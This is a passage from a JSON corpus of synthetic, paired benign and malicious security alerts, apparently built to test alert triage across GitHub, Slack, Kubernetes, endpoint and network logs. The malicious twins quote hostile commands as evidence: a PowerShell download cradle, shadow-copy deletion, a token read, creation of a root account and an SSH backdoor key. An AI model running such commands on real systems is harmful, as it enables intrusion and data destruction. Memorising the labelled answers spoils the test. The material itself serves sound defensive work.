["T1565.001"],+ "benign_archetype": "ci_service_account",+ "decisive_evidence": "The actor is the release bot on its own generated branch namespace, no protected branch was touched, and the rewritten commits are the bot's own from the same hour.",+ "evidence": {+ "action": "git.push with force",+ "actor": "release-bot[bot]",+ "actorType": "GitHub App installation",+ "branch": "bot/lockfile-2026-10-07",+ "branchIsProtected": false,+ "protectionBypassUsed": false,+ "rewrittenCommitAuthors": ["release-bot[bot]"],+ "signedCommitsRewritten": 0,+ "tokenAgeDays": 410+ },+ "provenance": {"source": "hand-authored", "source_id": "VRD-GH-01-B", "license": "MIT", "license_url": "https://github.com/beenuar/AiSOC/blob/main/LICENSE", "authored_at": "2026-10-07", "authored_by": "aisoc-verdict-corpus-v1", "note": "Invented event in the vendor's published audit-log shape. No recorded telemetry was used."}+ },+ {+ "id": "VRD-GH-01-M",+ "pair_id": "VRD-GH-01",+ "twin_of": "VRD-GH-01-B",+ "expected_disposition": "true_positive",+ "labelled": true,+ "is_synthetic": true,+ "family": "saas",+ "vendor": "github",+ "rule_id": "saas-github-force-push",+ "title": "Force push rewrote branch history",+ "severity": "medium",+ "expected_techniques": ["T1565.001"],+ "decisive_evidence": "The default branch was rewritten using an administrative protection bypass, from a personal access token created nine minutes earlier, and the rewrite dropped another author's signed commit.",+ "evidence": {+ "action": "git.push with force",+ "actor": "contractor-temp",+ "actorType": "user, personal access token",+ "branch": "main",+ "branchIsProtected": true,+ "protectionBypassUsed": true,+ "rewrittenCommitAuthors": ["platform-lead", "contractor-temp"],+ "signedCommitsRewritten": 1,+ "tokenAgeDays": 0,+ "tokenCreatedMinutesBefore": 9+ },+ "provenance": {"source": "hand-authored", "source_id": "VRD-GH-01-M", "license": "MIT", "license_url": "https://github.com/beenuar/AiSOC/blob/main/LICENSE", "authored_at": "2026-10-07", "authored_by": "aisoc-verdict-corpus-v1", "note": "Invented event in the vendor's published audit-log shape. No recorded telemetry was used."}+ },+ {+ "id": "VRD-GH-02-B",+ "pair_id": "VRD-GH-02",+ "twin_of": "VRD-GH-02-M",+ "expected_disposition": "false_positive",+ "labelled": true,+ "is_synthetic": true,+ "family": "saas",+ "vendor": "github",+ "rule_id": "saas-github-secret-committed",+ "title": "Credential pattern committed to a repository",+ "severity": "critical",+ "expected_techniques": ["T1552.001"],+ "benign_archetype": "scanner_or_security_tooling",+ "decisive_evidence": "The matched string is the vendor's own published example key, it sits in a test fixture, and the provider's validity check reports it has never been a real credential.",+ "evidence": {+ "alertType": "secret scanning",+ "patternName": "AWS access key id",+ "matchedValue": "AKIAIOSFODNN7EXAMPLE",+ "matchedValueIsVendorExample": true,+ "path": "tests/fixtures/aws_signing_vectors.json",+ "validityCheck": "provider reports the credential is not active and never has been",+ "repositoryVisibility": "private",+ "subsequentUse": "none"+ },+ "provenance": {"source": "hand-authored", "source_id": "VRD-GH-02-B", "license": "MIT", "license_url": "https://github.com/beenuar/AiSOC/blob/main/LICENSE", "authored_at": "2026-10-07", "authored_by": "aisoc-verdict-corpus-v1", "note": "Invented event in the vendor's published audit-log shape. No recorded telemetry was used."}+ },+ {+ "id": "VRD-GH-02-M",+ "pair_id": "VRD-GH-02",+ "twin_of": "VRD-GH-02-B",+ "expected_disposition": "true_positive",+ "labelled": true,+ "is_synthetic": true,+ "family": "saas",+ "vendor": "github",+ "rule_id": "saas-github-secret-committed",+ "title": "Credential pattern committed to a repository",+ "severity": "critical",+ "expected_techniques": ["T1552.001"],+ "decisive_evidence": "The provider confirms the credential is active, it was committed to a public repository, and it authenticated from an unfamiliar network eleven minutes after the push.",+ "evidence": {+ "alertType": "secret scanning",+ "patternName": "AWS access key id",+ "matchedValue": "redacted, provider-validated as active",+ "matchedValueIsVendorExample": false,+ "path": "deploy/terraform/backend.tf",+ "validityCheck": "provider reports the credential is active",+ "repositoryVisibility": "public",+ "subsequentUse": "authenticated from 203.0.113.202 at T+11m, 14 ListBuckets calls"+ },+ "provenance": {"source": "hand-authored", "source_id": "VRD-GH-02-M", "license": "MIT", "license_url": "https://github.com/beenuar/AiSOC/blob/main/LICENSE", "authored_at": "2026-10-07", "authored_by": "aisoc-verdict-corpus-v1", "note": "Invented event in the vendor's published audit-log shape. No recorded telemetry was used."}+ },+ {+ "id": "VRD-GH-03-B",+ "pair_id": "VRD-GH-03",+ "twin_of": "VRD-GH-03-M",+ "expected_disposition": "benign",+ "labelled": true,+ "is_synthetic": true,+ "family": "saas",+ "vendor": "github",+ "rule_id": "saas-github-workflow-change",+ "title": "Workflow definition changed in a pull request",+ "severity": "high",+ "expected_techniques": ["T1195.002"],+ "benign_archetype": "ci_service_account",+ "decisive_evidence": "The only change is a pinned action SHA moving to a SHA that resolves inside that action's own repository. No trigger, no permission and no secret reference changed.",+ "evidence": {+ "action": "pull_request.opened",+ "author": "dependabot[bot]",+ "authorIsFirstTimeContributor": false,+ "filesChanged": [".github/workflows/ci.yml"],+ "diffShape": "one `uses:` line, pinned SHA updated",+ "triggersAdded": [],+ "secretsReferencedAdded": [],+ "permissionsChanged": false,+ "newShaResolvesInActionRepo": true+ },+ "provenance": {"source": "hand-authored", "source_id": "VRD-GH-03-B", "license": "MIT", "license_url": "https://github.com/beenuar/AiSOC/blob/main/LICENSE", "authored_at": "2026-10-07", "authored_by": "aisoc-verdict-corpus-v1", "note": "Invented event in the vendor's published audit-log shape. No recorded telemetry was used."}+ },+ {+ "id": "VRD-GH-03-M",+ "pair_id": "VRD-GH-03",+ "twin_of": "VRD-GH-03-B",+ "expected_disposition": "true_positive",+ "labelled": true,+ "is_synthetic": true,+ "family": "saas",+ "vendor": "github",+ "rule_id": "saas-github-workflow-change",+ "title": "Workflow definition changed in a pull request",+ "severity": "high",+ "expected_techniques": ["T1195.002"],+ "decisive_evidence": "A first-time contributor added a pull_request_target workflow that checks out the pull request head and runs it with the repository secrets in scope. That combination executes a stranger's code with the organisation's credentials.",+ "evidence": {+ "action": "pull_request.opened",+ "author": "new-contributor-4471",+ "authorIsFirstTimeContributor": true,+ "filesChanged": [".github/workflows/preview.yml"],+ "diffShape": "new workflow, 34 lines added",+ "triggersAdded": ["pull_request_target"],+ "secretsReferencedAdded": ["secrets.NPM_TOKEN", "secrets.AWS_ROLE_ARN"],+ "permissionsChanged": true,+ "checksOutPullRequestHead": true+ },+ "provenance": {"source": "hand-authored", "source_id": "VRD-GH-03-M", "license": "MIT", "license_url": "https://github.com/beenuar/AiSOC/blob/main/LICENSE", "authored_at": "2026-10-07", "authored_by": "aisoc-verdict-corpus-v1", "note": "Invented event in the vendor's published audit-log shape. No recorded telemetry was used."}+ },+ {+ "id": "VRD-SLACK-01-B",+ "pair_id": "VRD-SLACK-01",+ "twin_of": "VRD-SLACK-01-M",+ "expected_disposition": "benign_true_positive",+ "labelled": true,+ "is_synthetic": true,+ "family": "saas",+ "vendor": "slack",+ "rule_id": "saas-slack-bulk-export",+ "title": "Workspace conversation export created",+ "severity": "high",+ "expected_techniques": ["T1213"],+ "benign_archetype": "break_glass_with_ticket",+ "decisive_evidence": "A workspace owner exported public channel history only, scoped to the matter's date range, with the matter id recorded and a second owner's approval on the export.",+ "evidence": {+ "eventType": "export_started",+ "actor": "[email protected]",+ "actorRole": "Workspace Owner, held for 3 years",+ "exportScope": "public channels only",+ "channelCount": 61,+ "privateChannelsIncluded": false,+ "directMessagesIncluded": false,+ "matterId": "LEGAL-MATTER-2026-114",+ "secondApprover": "[email protected]",+ "localTime": "11:20 on a working day"+ },+ "provenance": {"source": "hand-authored", "source_id": "VRD-SLACK-01-B", "license": "MIT", "license_url": "https://github.com/beenuar/AiSOC/blob/main/LICENSE", "authored_at": "2026-10-07", "authored_by": "aisoc-verdict-corpus-v1", "note": "Invented event in the vendor's published audit-log shape. No recorded telemetry was used."}+ },+ {+ "id": "VRD-SLACK-01-M",+ "pair_id": "VRD-SLACK-01",+ "twin_of": "VRD-SLACK-01-B",+ "expected_disposition": "true_positive",+ "labelled": true,+ "is_synthetic": true,+ "family": "saas",+ "vendor": "slack",+ "rule_id": "saas-slack-bulk-export",+ "title": "Workspace conversation export created",+ "severity": "high",+ "expected_techniques": ["T1213"],+ "decisive_evidence": "An installed app token belonging to an employee under notice pulled private channels and direct messages at three in the morning, with no matter and no approver.",+ "evidence": {+ "eventType": "export_started",+ "actor": "app token owned by [email protected]",+ "actorRole": "member, app installed 2 days ago",+ "exportScope": "private channels and direct messages",+ "channelCount": 40,+ "privateChannelsIncluded": true,+ "directMessagesIncluded": true,+ "matterId": null,+ "secondApprover": null,+ "localTime": "03:04"+ },+ "provenance": {"source": "hand-authored", "source_id": "VRD-SLACK-01-M", "license": "MIT", "license_url": "https://github.com/beenuar/AiSOC/blob/main/LICENSE", "authored_at": "2026-10-07", "authored_by": "aisoc-verdict-corpus-v1", "note": "Invented event in the vendor's published audit-log shape. No recorded telemetry was used."}+ },+ {+ "id": "VRD-SLACK-02-B",+ "pair_id": "VRD-SLACK-02",+ "twin_of": "VRD-SLACK-02-M",+ "expected_disposition": "benign",+ "labelled": true,+ "is_synthetic": true,+ "family": "saas",+ "vendor": "slack",+ "rule_id": "saas-slack-app-installed",+ "title": "Application installed into the workspace",+ "severity": "medium",+ "expected_techniques": ["T1528"],+ "benign_archetype": "admin_bulk_change",+ "decisive_evidence": "IT installed an app the organisation itself publishes, and the scopes granted match the manifest recorded in the app inventory exactly.",+ "evidence": {+ "eventType": "app_installed",+ "appName": "deploy-notifier",+ "appPublisher": "the organisation's own Slack app, internal distribution only",+ "installedBy": "[email protected]",+ "installerCount": 1,+ "installWindowMinutes": 1,+ "scopesRequested": ["chat:write", "channels:read"],+ "scopesMatchRecordedManifest": true,+ "precedingDmCampaign": false+ },+ "provenance": {"source": "hand-authored", "source_id": "VRD-SLACK-02-B", "license": "MIT", "license_url": "https://github.com/beenuar/AiSOC/blob/main/LICENSE", "authored_at": "2026-10-07", "authored_by": "aisoc-verdict-corpus-v1", "note": "Invented event in the vendor's published audit-log shape. No recorded telemetry was used."}+ },+ {+ "id": "VRD-SLACK-02-M",+ "pair_id": "VRD-SLACK-02",+ "twin_of": "VRD-SLACK-02-B",+ "expected_disposition": "true_positive",+ "labelled": true,+ "is_synthetic": true,+ "family": "saas",+ "vendor": "slack",+ "rule_id": "saas-slack-app-installed",+ "title": "Application installed into the workspace",+ "severity": "medium",+ "expected_techniques": ["T1528"],+ "decisive_evidence": "Nine individual members installed an unknown app with message-history and email-address scopes within twenty minutes, each after a direct message from one already-compromised internal account.",+ "evidence": {+ "eventType": "app_installed",+ "appName": "Workspace Secure Sync",+ "appPublisher": "unknown external developer, app listed 3 days ago",+ "installedBy": "9 individual members, no administrator",+ "installerCount": 9,+ "installWindowMinutes": 20,+ "scopesRequested": ["files:read", "channels:history", "users:read.email", "im:history"],+ "scopesMatchRecordedManifest": false,+ "precedingDmCampaign": "all 9 received the install link from one internal account flagged for credential theft"+ },+ "provenance": {"source": "hand-authored", "source_id": "VRD-SLACK-02-M", "license": "MIT", "license_url": "https://github.com/beenuar/AiSOC/blob/main/LICENSE", "authored_at": "2026-10-07", "authored_by": "aisoc-verdict-corpus-v1", "note": "Invented event in the vendor's published audit-log shape. No recorded telemetry was used."}+ },+ {+ "id": "VRD-K8S-01-B",+ "pair_id": "VRD-K8S-01",+ "twin_of": "VRD-K8S-01-M",+ "expected_disposition": "benign_true_positive",+ "labelled": true,+ "is_synthetic": true,+ "family": "cloud",+ "vendor": "kubernetes_audit",+ "rule_id": "cloud-k8s-pod-exec",+ "title": "Interactive shell opened inside a pod",+ "severity": "high",+ "expected_techniques": ["T1609"],+ "benign_archetype": "break_glass_with_ticket",+ "decisive_evidence": "The exec used a break-glass role bound for sixty minutes against an open incident, the incident id is in the impersonation reason, and the binding expired on schedule.",+ "evidence": {+ "verb": "create",+ "resource": "pods/exec",+ "namespace": "payments",+ "user": "[email protected]",+ "userGroups": ["break-glass:payments"],+ "roleBindingTtlMinutes": 60,+ "impersonationReason": "INC-20261002-0031",+ "bindingExpired": "yes, at T+60m",+ "commandsInSession": ["cat /proc/1/status", "curl -s localhost:8080/healthz"],+ "serviceAccountTokenRead": false+ },+ "provenance": {"source": "hand-authored", "source_id": "VRD-K8S-01-B", "license": "MIT", "license_url": "https://github.com/beenuar/AiSOC/blob/main/LICENSE", "authored_at": "2026-10-07", "authored_by": "aisoc-verdict-corpus-v1", "note": "Invented event in the vendor's published audit-log shape. No recorded telemetry was used."}+ },+ {+ "id": "VRD-K8S-01-M",+ "pair_id": "VRD-K8S-01",+ "twin_of": "VRD-K8S-01-B",+ "expected_disposition": "true_positive",+ "labelled": true,+ "is_synthetic": true,+ "family": "cloud",+ "vendor": "kubernetes_audit",+ "rule_id": "cloud-k8s-pod-exec",+ "title": "Interactive shell opened inside a pod",+ "severity": "high",+ "expected_techniques": ["T1609"],+ "decisive_evidence": "The exec came from a service account whose only prior verb is reading configmaps, there is no break-glass binding, and the session read the mounted service account token.",+ "evidence": {+ "verb": "create",+ "resource": "pods/exec",+ "namespace": "payments",+ "user": "system:serviceaccount:payments:config-reader",+ "userGroups": ["system:serviceaccounts:payments"],+ "roleBindingTtlMinutes": null,+ "impersonationReason": null,+ "bindingExpired": "no binding exists; access came from a role aggregated two hours earlier",+ "commandsInSession": ["cat /var/run/secrets/kubernetes.io/serviceaccount/token", "env"],+ "serviceAccountTokenRead": true+ },+ "provenance": {"source": "hand-authored", "source_id": "VRD-K8S-01-M", "license": "MIT", "license_url": "https://github.com/beenuar/AiSOC/blob/main/LICENSE", "authored_at": "2026-10-07", "authored_by": "aisoc-verdict-corpus-v1", "note": "Invented event in the vendor's published audit-log shape. No recorded telemetry was used."}+ },+ {+ "id": "VRD-K8S-02-B",+ "pair_id": "VRD-K8S-02",+ "twin_of": "VRD-K8S-02-M",+ "expected_disposition": "benign",+ "labelled": true,+ "is_synthetic": true,+ "family": "cloud",+ "vendor": "kubernetes_audit",+ "rule_id": "cloud-k8s-cluster-admin-binding",+ "title": "cluster-admin binding written",+ "severity": "critical",+ "expected_techniques": ["T1078.003"],+ "benign_archetype": "ci_service_account",+ "decisive_evidence": "The GitOps controller reapplied a binding that is already declared in the cluster's own configuration repository, and the applied object is byte-identical to the committed one.",+ "evidence": {+ "verb": "update",+ "resource": "clusterrolebindings",+ "bindingName": "platform-operators-admin",+ "subjects": ["Group/platform-operators"],+ "subjectIsAnonymousOrUnauthenticated": false,+ "user": "system:serviceaccount:gitops:reconciler",+ "managedFieldsManager": "gitops-reconciler",+ "declaredInClusterRepo": true,+ "appliedObjectMatchesCommitted": true+ },+ "provenance": {"source": "hand-authored", "source_id": "VRD-K8S-02-B", "license": "MIT", "license_url": "https://github.com/beenuar/AiSOC/blob/main/LICENSE", "authored_at": "2026-10-07", "authored_by": "aisoc-verdict-corpus-v1", "note": "Invented event in the vendor's published audit-log shape. No recorded telemetry was used."}+ },+ {+ "id": "VRD-K8S-02-M",+ "pair_id": "VRD-K8S-02",+ "twin_of": "VRD-K8S-02-B",+ "expected_disposition": "true_positive",+ "labelled": true,+ "is_synthetic": true,+ "family": "cloud",+ "vendor": "kubernetes_audit",+ "rule_id": "cloud-k8s-cluster-admin-binding",+ "title": "cluster-admin binding written",+ "severity": "critical",+ "expected_techniques": ["T1078.003"],+ "decisive_evidence": "cluster-admin was bound to system:anonymous, which grants the cluster to any unauthenticated caller. Nothing in the configuration repository declares it and the writer is a token from a compromised node.",+ "evidence": {+ "verb": "create",+ "resource": "clusterrolebindings",+ "bindingName": "sys-maintenance",+ "subjects": ["User/system:anonymous", "Group/system:unauthenticated"],+ "subjectIsAnonymousOrUnauthenticated": true,+ "user": "system:serviceaccount:kube-system:node-bootstrap",+ "managedFieldsManager": "kubectl-create",+ "declaredInClusterRepo": false,+ "appliedObjectMatchesCommitted": false+ },+ "provenance": {"source": "hand-authored", "source_id": "VRD-K8S-02-M", "license": "MIT", "license_url": "https://github.com/beenuar/AiSOC/blob/main/LICENSE", "authored_at": "2026-10-07", "authored_by": "aisoc-verdict-corpus-v1", "note": "Invented event in the vendor's published audit-log shape. No recorded telemetry was used."}+ },+ {+ "id": "VRD-EDR-01-B",+ "pair_id": "VRD-EDR-01",+ "twin_of": "VRD-EDR-01-M",+ "expected_disposition": "false_positive",+ "labelled": true,+ "is_synthetic": true,+ "family": "endpoint",+ "vendor": "crowdstrike",+ "rule_id": "endpoint-encoded-powershell-command",+ "title": "Encoded PowerShell command executed",+ "severity": "high",+ "expected_techniques": ["T1059.001", "T1027"],+ "benign_archetype": "admin_bulk_change",+ "decisive_evidence": "The encoded payload decodes to the device-management agent's own inventory script, the parent process is that agent, and the script file is signed by the management vendor.",+ "evidence": {+ "processName": "powershell.exe",+ "commandLineEncoded": true,+ "decodedCommand": "Get-CimInstance Win32_Product | Export-Csv -Path $env:TEMP\\inventory.csv",+ "parentProcess": "device management agent service",+ "scriptSignature": "signed by the device management vendor, chain valid",+ "networkConnectionsFromProcess": 0,+ "childProcesses": [],+ "hostCount": 1840,+ "fleetWidePattern": "identical on 1840 managed hosts in the same 20 minutes"+ },+ "provenance": {"source": "hand-authored", "source_id": "VRD-EDR-01-B", "license": "MIT", "license_url": "https://github.com/beenuar/AiSOC/blob/main/LICENSE", "authored_at": "2026-10-07", "authored_by": "aisoc-verdict-corpus-v1", "note": "Invented event in the vendor's published audit-log shape. No recorded telemetry was used."}+ },+ {+ "id": "VRD-EDR-01-M",+ "pair_id": "VRD-EDR-01",+ "twin_of": "VRD-EDR-01-B",+ "expected_disposition": "true_positive",+ "labelled": true,+ "is_synthetic": true,+ "family": "endpoint",+ "vendor": "crowdstrike",+ "rule_id": "endpoint-encoded-powershell-command",+ "title": "Encoded PowerShell command executed",+ "severity": "high",+ "expected_techniques": ["T1059.001", "T1027"],+ "decisive_evidence": "The payload decodes to a download cradle fetching a second stage, the parent process is a document editor, and the process then spawned a signed binary used to run an arbitrary library.",+ "evidence": {+ "processName": "powershell.exe",+ "commandLineEncoded": true,+ "decodedCommand": "IEX (New-Object Net.WebClient).DownloadString('http://203.0.113.74/s.ps1')",+ "parentProcess": "winword.exe",+ "scriptSignature": "unsigned",+ "networkConnectionsFromProcess": 3,+ "childProcesses": ["rundll32.exe"],+ "hostCount": 1,+ "fleetWidePattern": "single host, no matching execution elsewhere"+ },+ "provenance": {"source": "hand-authored", "source_id": "VRD-EDR-01-M", "license": "MIT", "license_url": "https://github.com/beenuar/AiSOC/blob/main/LICENSE", "authored_at": "2026-10-07", "authored_by": "aisoc-verdict-corpus-v1", "note": "Invented event in the vendor's published audit-log shape. No recorded telemetry was used."}+ },+ {+ "id": "VRD-EDR-02-B",+ "pair_id": "VRD-EDR-02",+ "twin_of": "VRD-EDR-02-M",+ "expected_disposition": "benign",+ "labelled": true,+ "is_synthetic": true,+ "family": "endpoint",+ "vendor": "crowdstrike",+ "rule_id": "endpoint-mass-file-access",+ "title": "One process touched a very large number of files",+ "severity": "critical",+ "expected_techniques": ["T1486"],+ "benign_archetype": "backup_job",+ "decisive_evidence": "The process only read: no file was rewritten, no extension changed, and no shadow copy was deleted. It is the signed backup agent running in its nightly window on its usual hash.",+ "evidence": {+ "processName": "backup agent service",+ "filesTouched": 180000,+ "operation": "read only",+ "filesRewritten": 0,+ "extensionsChanged": 0,+ "shadowCopyDeletion": false,+ "binarySignature": "signed, hash unchanged for 14 months",+ "window": "nightly maintenance window 01:00-04:00, 300 prior runs",+ "networkEgressBytes": 0,+ "ransomNoteWritten": false+ },+ "provenance": {"source": "hand-authored", "source_id": "VRD-EDR-02-B", "license": "MIT", "license_url": "https://github.com/beenuar/AiSOC/blob/main/LICENSE", "authored_at": "2026-10-07", "authored_by": "aisoc-verdict-corpus-v1", "note": "Invented event in the vendor's published audit-log shape. No recorded telemetry was used."}+ },+ {+ "id": "VRD-EDR-02-M",+ "pair_id": "VRD-EDR-02",+ "twin_of": "VRD-EDR-02-B",+ "expected_disposition": "true_positive",+ "labelled": true,+ "is_synthetic": true,+ "family": "endpoint",+ "vendor": "crowdstrike",+ "rule_id": "endpoint-mass-file-access",+ "title": "One process touched a very large number of files",+ "severity": "critical",+ "expected_techniques": ["T1486"],+ "decisive_evidence": "Every file was rewritten with a new extension, the shadow copies were deleted first, and a ransom note was dropped in each directory. The binary is unsigned and first seen on this host today.",+ "evidence": {+ "processName": "svchost32.exe",+ "filesTouched": 180000,+ "operation": "read then overwrite",+ "filesRewritten": 180000,+ "extensionsChanged": 180000,+ "shadowCopyDeletion": "vssadmin delete shadows /all /quiet at T-40s",+ "binarySignature": "unsigned, first seen on this host 11 minutes ago",+ "window": "14:20 on a working day",+ "networkEgressBytes": 0,+ "ransomNoteWritten": "README_RECOVER.txt in 4100 directories"+ },+ "provenance": {"source": "hand-authored", "source_id": "VRD-EDR-02-M", "license": "MIT", "license_url": "https://github.com/beenuar/AiSOC/blob/main/LICENSE", "authored_at": "2026-10-07", "authored_by": "aisoc-verdict-corpus-v1", "note": "Invented event in the vendor's published audit-log shape. No recorded telemetry was used."}+ },+ {+ "id": "VRD-WIN-01-B",+ "pair_id": "VRD-WIN-01",+ "twin_of": "VRD-WIN-01-M",+ "expected_disposition": "benign",+ "labelled": true,+ "is_synthetic": true,+ "family": "endpoint",+ "vendor": "windows_security",+ "rule_id": "endpoint-windows-account-logon-spread",+ "title": "One account authenticated to many hosts",+ "severity": "high",+ "expected_techniques": ["T1021.002"],+ "benign_archetype": "ci_service_account",+ "decisive_evidence": "Every logon is a service logon on the host the service runs on, with the same logon type and the same set of hosts as the previous ninety days. Nothing is a remote network logon.",+ "evidence": {+ "eventId": 4624,+ "logonType": 5,+ "account": "svc-monitoring",+ "distinctHosts": 42,+ "windowMinutes": 6,+ "authPackage": "Negotiate",+ "hostSetMatchesBaseline": "identical host set on each of the last 90 days",+ "remoteNetworkLogons": 0,+ "followedBy": "service start on each host"+ },+ "provenance": {"source": "hand-authored", "source_id": "VRD-WIN-01-B", "license": "MIT", "license_url": "https://github.com/beenuar/AiSOC/blob/main/LICENSE", "authored_at": "2026-10-07", "authored_by": "aisoc-verdict-corpus-v1", "note": "Invented event in the vendor's published audit-log shape. No recorded telemetry was used."}+ },+ {+ "id": "VRD-WIN-01-M",+ "pair_id": "VRD-WIN-01",+ "twin_of": "VRD-WIN-01-B",+ "expected_disposition": "true_positive",+ "labelled": true,+ "is_synthetic": true,+ "family": "endpoint",+ "vendor": "windows_security",+ "rule_id": "endpoint-windows-account-logon-spread",+ "title": "One account authenticated to many hosts",+ "severity": "high",+ "expected_techniques": ["T1021.002"],+ "decisive_evidence": "Forty-two remote network logons with NTLM from a single workstation to hosts this account has never touched, each followed by a service created from a temporary executable.",+ "evidence": {+ "eventId": 4624,+ "logonType": 3,+ "account": "svc-monitoring",+ "distinctHosts": 42,+ "windowMinutes": 6,+ "authPackage": "NTLM",+ "hostSetMatchesBaseline": "39 of 42 hosts never seen for this account",+ "remoteNetworkLogons": 42,+ "sourceWorkstation": "a single user workstation, not a management host",+ "followedBy": "7045 service installed from C:\\Windows\\Temp on 38 hosts"+ },+ "provenance": {"source": "hand-authored", "source_id": "VRD-WIN-01-M", "license": "MIT", "license_url": "https://github.com/beenuar/AiSOC/blob/main/LICENSE", "authored_at": "2026-10-07", "authored_by": "aisoc-verdict-corpus-v1", "note": "Invented event in the vendor's published audit-log shape. No recorded telemetry was used."}+ },+ {+ "id": "VRD-WIN-02-B",+ "pair_id": "VRD-WIN-02",+ "twin_of": "VRD-WIN-02-M",+ "expected_disposition": "benign",+ "labelled": true,+ "is_synthetic": true,+ "family": "endpoint",+ "vendor": "windows_security",+ "rule_id": "endpoint-windows-scheduled-task-created",+ "title": "Scheduled task created",+ "severity": "medium",+ "expected_techniques": ["T1053.005"],+ "benign_archetype": "admin_bulk_change",+ "decisive_evidence": "The task was created by the patch management service account, it runs the signed patch binary from its installed location, and the same task appeared on the whole managed fleet in one window.",+ "evidence": {+ "eventId": 4698,+ "taskName": "\\Patching\\MonthlyRollup",+ "taskAuthor": "svc-patching",+ "taskAuthorIsService": true,+ "actionPath": "C:\\Program Files\\PatchAgent\\apply.exe",+ "actionBinarySigned": true,+ "trigger": "monthly, third Tuesday 02:00",+ "runAs": "SYSTEM",+ "fleetWidePattern": "created on 1840 managed hosts in the same window"+ },+ "provenance": {"source": "hand-authored", "source_id": "VRD-WIN-02-B", "license": "MIT", "license_url": "https://github.com/beenuar/AiSOC/blob/main/LICENSE", "authored_at": "2026-10-07", "authored_by": "aisoc-verdict-corpus-v1", "note": "Invented event in the vendor's published audit-log shape. No recorded telemetry was used."}+ },+ {+ "id": "VRD-WIN-02-M",+ "pair_id": "VRD-WIN-02",+ "twin_of": "VRD-WIN-02-B",+ "expected_disposition": "true_positive",+ "labelled": true,+ "is_synthetic": true,+ "family": "endpoint",+ "vendor": "windows_security",+ "rule_id": "endpoint-windows-scheduled-task-created",+ "title": "Scheduled task created",+ "severity": "medium",+ "expected_techniques": ["T1053.005"],+ "decisive_evidence": "A user account created a logon-triggered task that runs a library out of a world-writable directory through a signed system binary, on one host only.",+ "evidence": {+ "eventId": 4698,+ "taskName": "\\Microsoft\\Windows\\UpdateOrchestrator\\Reboot_",+ "taskAuthor": "lucia.ferraro",+ "taskAuthorIsService": false,+ "actionPath": "rundll32.exe C:\\Users\\Public\\mso.dll,#1",+ "actionBinarySigned": "rundll32 is signed; the library it loads is not",+ "trigger": "at logon of any user",+ "runAs": "SYSTEM",+ "fleetWidePattern": "one host only"+ },+ "provenance": {"source": "hand-authored", "source_id": "VRD-WIN-02-M", "license": "MIT", "license_url": "https://github.com/beenuar/AiSOC/blob/main/LICENSE", "authored_at": "2026-10-07", "authored_by": "aisoc-verdict-corpus-v1", "note": "Invented event in the vendor's published audit-log shape. No recorded telemetry was used."}+ },+ {+ "id": "VRD-LNX-01-B",+ "pair_id": "VRD-LNX-01",+ "twin_of": "VRD-LNX-01-M",+ "expected_disposition": "benign_true_positive",+ "labelled": true,+ "is_synthetic": true,+ "family": "endpoint",+ "vendor": "linux_auditd",+ "rule_id": "endpoint-linux-root-escalation",+ "title": "Interactive root session opened on a production host",+ "severity": "high",+ "expected_techniques": ["T1548.003"],+ "benign_archetype": "break_glass_with_ticket",+ "decisive_evidence": "The escalation is a break-glass session against an open incident, the session recording exists, and every command run is a step in the published runbook for that incident type.",+ "evidence": {+ "auditRecord": "USER_CMD sudo -i",+ "user": "oncall.sre",+ "host": "payments-api-07",+ "ticket": "INC-20261002-0031",+ "sessionRecording": "recorded, 11 minutes, stored against the incident",+ "commandsRun": ["systemctl status payments-api", "journalctl -u payments-api -n 200", "systemctl restart payments-api"],+ "accountsCreated": 0,+ "authorizedKeysModified": false,+ "sourceIp": "198.51.100.14"+ },+ "provenance": {"source": "hand-authored", "source_id": "VRD-LNX-01-B", "license": "MIT", "license_url": "https://github.com/beenuar/AiSOC/blob/main/LICENSE", "authored_at": "2026-10-07", "authored_by": "aisoc-verdict-corpus-v1", "note": "Invented event in the vendor's published audit-log shape. No recorded telemetry was used."}+ },+ {+ "id": "VRD-LNX-01-M",+ "pair_id": "VRD-LNX-01",+ "twin_of": "VRD-LNX-01-B",+ "expected_disposition": "true_positive",+ "labelled": true,+ "is_synthetic": true,+ "family": "endpoint",+ "vendor": "linux_auditd",+ "rule_id": "endpoint-linux-root-escalation",+ "title": "Interactive root session opened on a production host",+ "severity": "high",+ "expected_techniques": ["T1548.003"],+ "decisive_evidence": "The session created a second account with UID 0 and appended a key to root's authorized_keys. Both are persistence, and no ticket or recording exists.",+ "evidence": {+ "auditRecord": "USER_CMD sudo -i",+ "user": "oncall.sre",+ "host": "payments-api-07",+ "ticket": null,+ "sessionRecording": "absent; auditd rule for this host was reloaded 2 minutes earlier",+ "commandsRun": ["useradd -o -u 0 -g 0 sysmon", "echo ... >> /root/.ssh/authorized_keys", "history -c"],+ "accountsCreated": 1,+ "authorizedKeysModified": true,+ "sourceIp": "203.0.113.33"+ },+ "provenance": {"source": "hand-authored", "source_id": "VRD-LNX-01-M", "license": "MIT", "license_url": "https://github.com/beenuar/AiSOC/blob/main/LICENSE", "authored_at": "2026-10-07", "authored_by": "aisoc-verdict-corpus-v1", "note": "Invented event in the vendor's published audit-log shape. No recorded telemetry was used."}+ },+ {+ "id": "VRD-NET-01-B",+ "pair_id": "VRD-NET-01",+ "twin_of": "VRD-NET-01-M",+ "expected_disposition": "false_positive",+ "labelled": true,+ "is_synthetic": true,+ "family": "network",+ "vendor": "palo_alto",+ "rule_id": "network-periodic-outbound-beacon",+ "title": "Regular outbound connections with low variance",+ "severity": "medium",+ "expected_techniques": ["T1071.001"],+ "benign_archetype": "scanner_or_security_tooling",+ "decisive_evidence": "The destination is the endpoint agent's own telemetry service, presenting a certificate issued to that vendor and chaining to a public authority. The rule fired on regularity alone, which is what a heartbeat looks like.",+ "evidence": {+ "destinationIp": "198.51.100.200",+ "destinationOwner": "the endpoint agent vendor's telemetry service",+ "intervalSeconds": "60, variance under 1s",+ "certificate": "issued to the endpoint agent vendor, chains to a public certificate authority",+ "selfSigned": false,+ "sourceProcess": "endpoint agent service, signed",+ "bytesPerConnection": "1.1 kB, uniform",+ "timeOfDayPattern": "continuous, 24 hours a day",+ "destinationFirstSeenDays": 730+ },+ "provenance": {"source": "hand-authored", "source_id": "VRD-NET-01-B", "license": "MIT", "license_url": "https://github.com/beenuar/AiSOC/blob/main/LICENSE", "authored_at": "2026-10-07", "authored_by": "aisoc-verdict-corpus-v1", "note": "Invented event in the vendor's published audit-log shape. No recorded telemetry was used."}+ },+ {+ "id": "VRD-NET-01-M",+ "pair_id": "VRD-NET-01",+ "twin_of": "VRD-NET-01-B",+ "expected_disposition": "true_positive",+ "labelled": true,+ "is_synthetic": true,+ "family": "network",+ "vendor": "palo_alto",+ "rule_id": 